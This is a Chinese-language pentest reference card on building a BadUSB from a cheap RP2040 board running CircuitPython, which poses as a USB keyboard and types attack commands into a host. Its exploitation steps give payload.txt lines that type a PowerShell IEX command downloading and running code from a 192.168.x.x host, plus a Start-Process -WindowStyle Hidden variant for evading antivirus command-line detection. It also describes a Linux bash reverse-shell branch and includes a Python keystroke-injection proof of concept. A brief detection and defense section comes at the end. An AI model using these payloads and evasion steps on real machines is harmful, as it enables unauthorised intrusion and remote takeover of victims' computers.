十元级 RP2040 + CircuitPython 自制 BadUSB:payload.txt 脚本驱动 HID 键盘注入拉起 PowerShell 下载执行,并用 Start-Process -WindowStyle Hidden 绕杀软命令行检测
pentest/initial-access · verified
一句话结论
用十几块钱的 RP2040(pico 类小板)刷 CircuitPython + adafruit_hid,即可把它枚举成 USB 键盘:宿主机看到的是普通输入设备,板子按内置 payload.txt 里的自定义脚本(POWERSHELL / TOGGLE_INPUT / ECHO <要敲的内容> / set Time <秒>)自动敲出 Win+R → powershell → 下载执行命令,实现零驱动、零交互的物理初始访问;杀软只拦 powershell.exe -w hidden 这种命令行特征时,改由 Start-Process -WindowStyle Hidden 拉起子进程即可绕过。
原理
- HID 免驱动:USB HID 键盘属于系统内置类驱动,插上即可向当前会话注入按键,不需要安装任何驱动、不触发「新硬件安装」类告警;对主机而言与真人敲键盘没有区别。
- CircuitPython 的价值:
usb_hid+adafruit_hid.keyboard把「按键码 + 修饰键」封装成keyboard.press(...)/release_all(),开发板上的code.py开机即跑,改脚本只需替换 U 盘里的payload.txt,无需重新编译固件(相对 MicroPython 更即插即用)。 - 按键映射的坑:
key_map必须区分「单键」与「Shift+键」——大写字母、:、"、(、)、_、!、|、>等都要发(Keycode.SHIFT, Keycode.X)组合;数字键是Keycode.ZERO..NINE;Win+R是先 press WINDOWS 与 R 再release_all()(顺序错会粘键)。 - 为什么用 payload.txt 而不是写死:把「按键序列」抽象成脚本语言(大写关键字为模块,
ECHO后为要敲的文本,set Time 1设延迟)后,注入内容与执行逻辑解耦,改攻击内容不用重刷固件,也便于把 Windows(POWERSHELL)与 Linux(LINUX_OPENSHELL/LINUX_RESHELL)分支放进同一份脚本。 - 延迟与输入法:注入前
sleep(1)等系统识别设备;Win+R打开运行框后延迟再敲powershell,回车后等窗口就绪再输入命令;TOGGLE_INPUT(Ctrl+Space)用于切掉中文输入法,否则命令里的大写与符号会被输入法吃成候选词。 - 杀软检测的落点:拦截逻辑基于命令行字符串(
-WindowStyle Hidden/-w hidden出现在powershell.exe的参数里)。改成Start-Process -WindowStyle Hidden powershell.exe -ArgumentList '-NoProfile','-Command','IEX(...)',-WindowStyle Hidden属于Start-Process自己的参数、不再出现在 powershell 进程的命令行里,于是既能隐藏窗口又不命中该特征;在 BadUSB 场景里只要在末尾多敲一个exit关闭宿主窗口即可。
触发条件
- 攻击者可物理接触目标主机(或能让用户插入该 USB 设备)。
- 主机未禁用 USB HID 设备/未做 USB 端口白名单,当前处于已登录桌面(能接收按键)。
- 主机能访问载荷托管地址(HTTP/HTTPS 或内网 C2),
powershell.exe未被 AppLocker/WDAC 完全禁止,且未启用 ConstrainedLanguage 到无法IEX的程度。 - 目标语言/输入法状态若与脚本假设不同,需要
TOGGLE_INPUT或调整延迟。
利用步骤
- 硬件与固件:RP2040 小板刷 CircuitPython(出现
CIRCUITPY盘符),把adafruit_hid库放进lib/。 - 写
code.py:建立key_map(单键/Shift 组合/数字),实现win()(Win+R)、powershell()(运行框输入powershell回车)、toggleinput()(Ctrl+Space)与ECHO(逐字符 press/release,特殊字符走 Shift 分支)。 - 写
payload.txt,例如:
set Time 1
POWERSHELL
TOGGLE_INPUT
ECHO powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.255.1:8029/a'))"
- Linux 目标改为
LINUX_OPENSHELL+LINUX_RESHELL <ip> <port>(bash -i反弹)。 - 若被杀软拦
-w hidden,把注入内容换成:
ECHO Start-Process -WindowStyle Hidden powershell.exe -ArgumentList '-NoProfile', '-Command', 'IEX ((new-object net.webclient).downloadstring(''http://192.168.56.1:8065/a''))'
ECHO exit
- 插上设备,等待按键注入完成,确认 C2 上线/回连;用
set Time调整每步延迟以适配慢机器。
PoC(按键注入核心,仅示意):
import time, usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
keyboard = Keyboard(usb_hid.devices)
key_map = {'a': Keycode.A, 'A': (Keycode.SHIFT, Keycode.A),
'CTRL': Keycode.CONTROL, 'SPACE': Keycode.SPACE,
':': (Keycode.SHIFT, Keycode.SEMICOLON),
'(': (Keycode.SHIFT, Keycode.NINE), ')': (Keycode.SHIFT, Keycode.ZERO)}
def powershell():
time.sleep(1)
keyboard.press(Keycode.WINDOWS); keyboard.press(Keycode.R); keyboard.release_all()
time.sleep(1)
for ch in "powershell":
keyboard.press(key_map[ch]); keyboard.release_all(); time.sleep(0.1)
keyboard.press(Keycode.ENTER); keyboard.release_all()
变体与关联
- 硬件变体:RP2040/pico、Digispark、O.MG Cable(伪装成数据线)、带 WiFi 的远程触发款;原理都是 HID 键盘。
- 注入变体:直接
Win+R拉起powershell/mshta/certutil;用Ctrl+Space切输入法;用set Time控制节奏避开「敲太快丢键」。 - 绕过变体:
Start-Process -WindowStyle Hidden绕命令行特征;把载荷放闪存本地调用而完全不联网;改-EncodedCommand规避明文关键字。 - 关联:
pentest-initial-access-usb-hid-keyboard-injection-powershell-scheduled-task(同一原语在 HID 报文字节层的构造与解码视角,本卡是 CircuitPython/脚本框架视角)、ctf-forensics-usb-hid-keyboard-reference-mapping(HID 流量与键位映射)。
检测与防御
- 设备管控:USB 设备白名单/端口禁用(只允许已知 VID/PID 的键鼠),禁用未登记 HID;对服务器类主机直接关闭 USB 存储与 HID 热插拔。
- 执行链检测:审计
Win+R后的powershell启动(4688 进程创建 + 命令行审计)、Start-Process派生 powershell 的父子链、IEX+downloadstring组合;对「短时间内无鼠标事件却有大量键入」的行为做异常检测。 - 限制面:AppLocker/WDAC 限制 PowerShell 与脚本宿主、启用 ConstrainedLanguage、阻止桌面对公网直接出网。
- 响应:发现可疑 HID 设备后立即隔离主机,检查 uninstall/设备安装日志与
HKCU\...\Run、计划任务等持久化点。